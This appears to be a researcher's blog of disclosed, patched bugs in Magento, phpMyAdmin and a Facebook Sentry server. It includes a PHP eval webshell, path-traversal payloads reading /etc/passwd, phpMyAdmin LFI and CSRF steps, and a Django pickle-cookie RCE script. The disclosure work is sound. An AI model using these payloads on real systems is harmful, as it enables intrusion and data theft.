Magento – RCE & Local File Read with low privilege admin rights

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16.

Both of vulnerabilities need low privileges admin account, usually given to Marketing users :

  • The first vulnerability is a command execution using path traversal, and requires the user to be able to create products
  • The second vulnerability is a local file read, and requires the user to be able to create email templates

Here are the details !

Command Execution in Product Creation

Magento has its own way to define the layout of a product, into the Design tab of the Product creation system. It’s format is XML-based and follows a syntax documented by Magento themselves. The full documentation is here : https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html

The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template :

    /**
     * Retrieve block view from file (template)
     *
     * @param string $fileName
     * @return string
     */
    public function fetchView($fileName)
    {
        $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
        \Magento\Framework\Profiler::start(
            'TEMPLATE:' . $fileName,
            ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]
        );

        if ($this->validator->isValid($fileName)) {
            $extension = pathinfo($fileName, PATHINFO_EXTENSION);
            $templateEngine = $this->templateEnginePool->get($extension);
            $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
        } else {
            $html = '';
            $templatePath = $fileName ?: $this->getTemplate();
            $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
                . " block's name: '{$this->getNameInLayout()}'";
            if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
                throw new \Magento\Framework\Exception\ValidatorException(
                    new \Magento\Framework\Phrase(
                        $errorMessage
                    )
                );
            }
            $this->_logger->critical($errorMessage);
        }

        \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
        return $html;
    }

This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun.

The $fileName parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so :

    protected function isPathInDirectories($path, $directories)
    {
        if (!is_array($directories)) {
            $directories = (array)$directories;
        }
        foreach ($directories as $directory) {
            if (0 === strpos($path, $directory)) {
                return true;
            }
        }
        return false;
    }

This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms.

“Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml. Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension

This is sufficient for having a command execution payload. Here is the complete steps :

  1. Log in with a user that has some low admin privileges and is allowed to create products
  2. First of all, create a new product, with a new Custom Options of type File, with .phtml as an authorized extension and some pieces in stock to order one.
  3. Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “blaklis.phtml” and contains “<?php eval(stripslashes($_REQUEST[0])); ?>
  4. The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml. For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
  5. You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request :
    POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
    [...]
    Connection: close

    remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}}
    This will make CURL crash and display an error with full path in it
  6. In the design tab of the product, add a 2 column layouts with the following XML in Layout Update XML :
    <referenceContainer name="sidebar.additional">
    <block class="Magento\Backend\Block\Template" name="test">
    <action method="fetchView">
    <argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument>
    </action>
    </block>
    </referenceContainer>
  7. Go to the frontend page of this product; your code should executed.

This flaw was not that obvious, but has been fun to search for!

Local File Read in Email Templating

This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }}. One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template.

The functions that are managing this directive are the following :

public function cssDirective($construction)
{
    if ($this->isPlainTemplateMode()) {
        return '';
    }

    $params = $this->getParameters($construction[2]);
    $file = isset($params['file']) ? $params['file'] : null;
    if (!$file) {
        // Return CSS comment for debugging purposes
        return '/* ' . __('"file" parameter must be specified') . ' */';
    }

    $css = $this->getCssProcessor()->process(
        $this->getCssFilesContent([$params['file']])
    );

    if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
        // Return compilation error wrapped in CSS comment
        return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
    } elseif (!empty($css)) {
        return $css;
    } else {
        // Return CSS comment for debugging purposes
        return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
    }
}


public function getCssFilesContent(array $files)
{
    // Remove duplicate files
    $files = array_unique($files);
    $designParams = $this->getDesignParams();
    if (!count($designParams)) {
        throw new \Magento\Framework\Exception\MailException(
            __('Design params must be set before calling this method')
        );
    }
    $css = '';
    try {
        foreach ($files as $file) {
            $asset = $this->_assetRepo->createAsset($file, $designParams);
            $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
            if ($pubDirectory->isExist($asset->getPath())) {
                $css .= $pubDirectory->readFile($asset->getPath());
            } else {
                $css .= $asset->getContent();
            }
        }
    } catch (ContentProcessorException $exception) {
        $css = $exception->getMessage();
    } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
        $css = '';
    }

    return $css;
}

Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable.

Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}} should be sufficient to trigger the vulnerability.

Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one

  • 2018.09.11 : initial disclosure for the path traversal / RCE
  • 2018.09.17 : triaged by Bugcrowd staff
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2018.12.11 : a $5000 bounty was awarded
  • 2018.08.09 : initial disclosure for the path traversal / local file read
  • 2018.08.29 : triaged by Bugcrowd staff after asking for details
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2019.01.04 : a $2500 bounty was awarded

PHPMyAdmin multiple vulnerabilities

During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.

1. Local File INCLUSION in transformation feature

The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.

Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.

Here is an example of how the transformation is applied, from tbl_replace.php:

<?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.

Here is a PoC to exploit this vulnerability:

  1. Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
    CREATE DATABASE foo;
     CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
     INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
  2. Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
  3. Fill the transformation information with the path traversal in the “pma__column_info” table:
    INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
     'plop', 'plop', 'plop',
     '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
  4. Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.

 

2. CSRF for updating data in table

This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :

http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*

A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.

 

These vulnerabilities are both important. We responsibly disclosed them and they  were patched on the newly released phpMyAdmin 4.8.4.

 

Timeline :

  • 2018.06.21 – Initial contact with phpMyAdmin security team.
  • 2018.06.24 – Initial response that the team will investigate.
  • 2018.08.02 – Request for news.
  • 2018.08.28 – Re-request for news.
  • 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
  • 2018.11.01 – Request for news.
  • 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
  • 2018.12.11 – New version released with patch.

Update your things! 😉

Remote Code Execution on a Facebook server

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.

While scanning an IP range that belongs to Facebook (199.201.65.0/24), I found a Sentry service hosted on 199.201.65.36, with the hostname sentryagreements.thefacebook.com. Sentry is a log collection web application, written in Python with the Django framework.

While I was looking at the application, some stacktraces regularly popped on the page, for an unknown reason. The application seemed to be unstable regarding the user password reset feature, which occasionally crashed. Django debug mode was not turned off, which consequently prints the whole environment when a stacktrace occurs. However, Django snips critical information (passwords, secrets, key…) in those stacktraces, therefore avoiding a massive information leakage.

However, by looking at the stacktrace a little more closely, some env keys were interesting :

  • The SESSION_COOKIE_NAME is sentrysid
  • The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • The SENTRY_OPTIONS key that contains some Sentry configuration in a list.

Pickle is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. A comprehensive article that explains what Pickle is and its security implications is available here : https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/

If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, the SECRET_KEY that is used by Django for signing session cookies is not available in the stacktrace. However, the SENTRY_OPTIONS list contains a key named system.secret-key, that is not snipped. Quoting the Sentry documentation, system.secret-key is “a secret key used for session signing. If this becomes compromised it’s important to regenerate it as otherwise its much easier to hijack user sessions.“; wow, it looks like it’s a sort of Django SECRET-KEY override!

As we have everything to forge our own cookies with arbitrary pickle content, I wrote a little script that adds a payload into my own sentrysid cookie. Here it is :

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

This code is a simple proof of concept; it takes the content of an existing sentrysid cookie, and replaces its content with an arbitrary object that will run a os.system(“sleep 30”) when unserialized.

When using this cookie, the page actually takes an additional 30 seconds to load, which confirms the presence of the flaw.

Facebook acknowledged the vulnerability, took down the system until the flaw was patched, and then notified me about the patch being in place.

Here is the disclosure timeline, which also demonstrates that Facebook security staff is reactive 🙂 :

  • 30.07.2018 00:00 CEST : initial disclosure with every details.
  • 30.07.2018 15:25 CEST : triaged and system takedown.
  • 09.08.2018 18:10 CEST : patch in place.
  • 09.08.2018 20:10 CEST : a 5000$ bounty is awarded – the server was in a separate VLAN with no users’ specific data.

Thanks for reading!

Blaklis